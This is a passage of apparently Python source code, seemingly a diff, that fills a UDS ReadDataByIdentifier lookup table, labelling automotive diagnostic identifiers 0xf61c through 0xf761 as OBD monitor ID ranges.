"OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf61f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf620] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf621] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf622] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf623] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf624] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf625] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf626] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf627] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf628] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf629] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf62f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf630] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf631] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf632] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf633] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf634] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf635] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf636] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf637] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf638] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf639] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf63f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf640] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf641] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf642] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf643] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf644] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf645] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf646] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf647] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf648] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf649] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf64f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf650] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf651] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf652] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf653] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf654] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf655] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf656] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf657] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf658] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf659] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf65f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf660] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf661] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf662] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf663] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf664] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf665] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf666] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf667] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf668] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf669] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf66f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf670] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf671] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf672] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf673] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf674] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf675] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf676] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf677] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf678] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf679] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf67f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf680] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf681] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf682] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf683] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf684] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf685] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf686] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf687] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf688] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf689] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf68f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf690] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf691] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf692] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf693] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf694] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf695] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf696] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf697] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf698] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf699] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69a] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69b] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69c] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69d] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69e] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf69f] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6a9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6aa] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ab] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ac] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ad] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ae] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6af] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6b9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ba] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6bb] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6bc] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6bd] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6be] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6bf] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6c9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ca] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6cb] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6cc] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6cd] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ce] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6cf] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6d9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6da] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6db] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6dc] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6dd] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6de] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6df] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6e9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ea] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6eb] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ec] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ed] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ee] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ef] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f0] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f1] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f2] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f3] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f4] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f5] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f6] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f7] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f8] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6f9] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6fa] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6fb] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6fc] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6fd] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6fe] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf6ff] = "OBDMonitorIds_F600 - F6FF" +UDS_RDBI.dataIdentifiers[0xf700] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf701] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf702] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf703] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf704] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf705] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf706] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf707] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf708] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf709] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf70f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf710] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf711] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf712] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf713] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf714] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf715] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf716] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf717] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf718] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf719] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf71f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf720] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf721] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf722] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf723] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf724] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf725] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf726] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf727] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf728] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf729] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf72f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf730] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf731] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf732] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf733] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf734] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf735] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf736] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf737] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf738] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf739] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf73f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf740] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf741] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf742] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf743] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf744] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf745] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf746] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf747] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf748] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf749] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf74f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf750] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf751] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf752] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf753] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf754] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf755] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf756] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf757] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf758] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf759] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75a] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75b] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75c] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75d] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75e] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf75f] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf760] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf761] = "OBDMonitorIds_F700 - F7FF" +UDS_RDBI.dataIdentifiers[0xf762] = 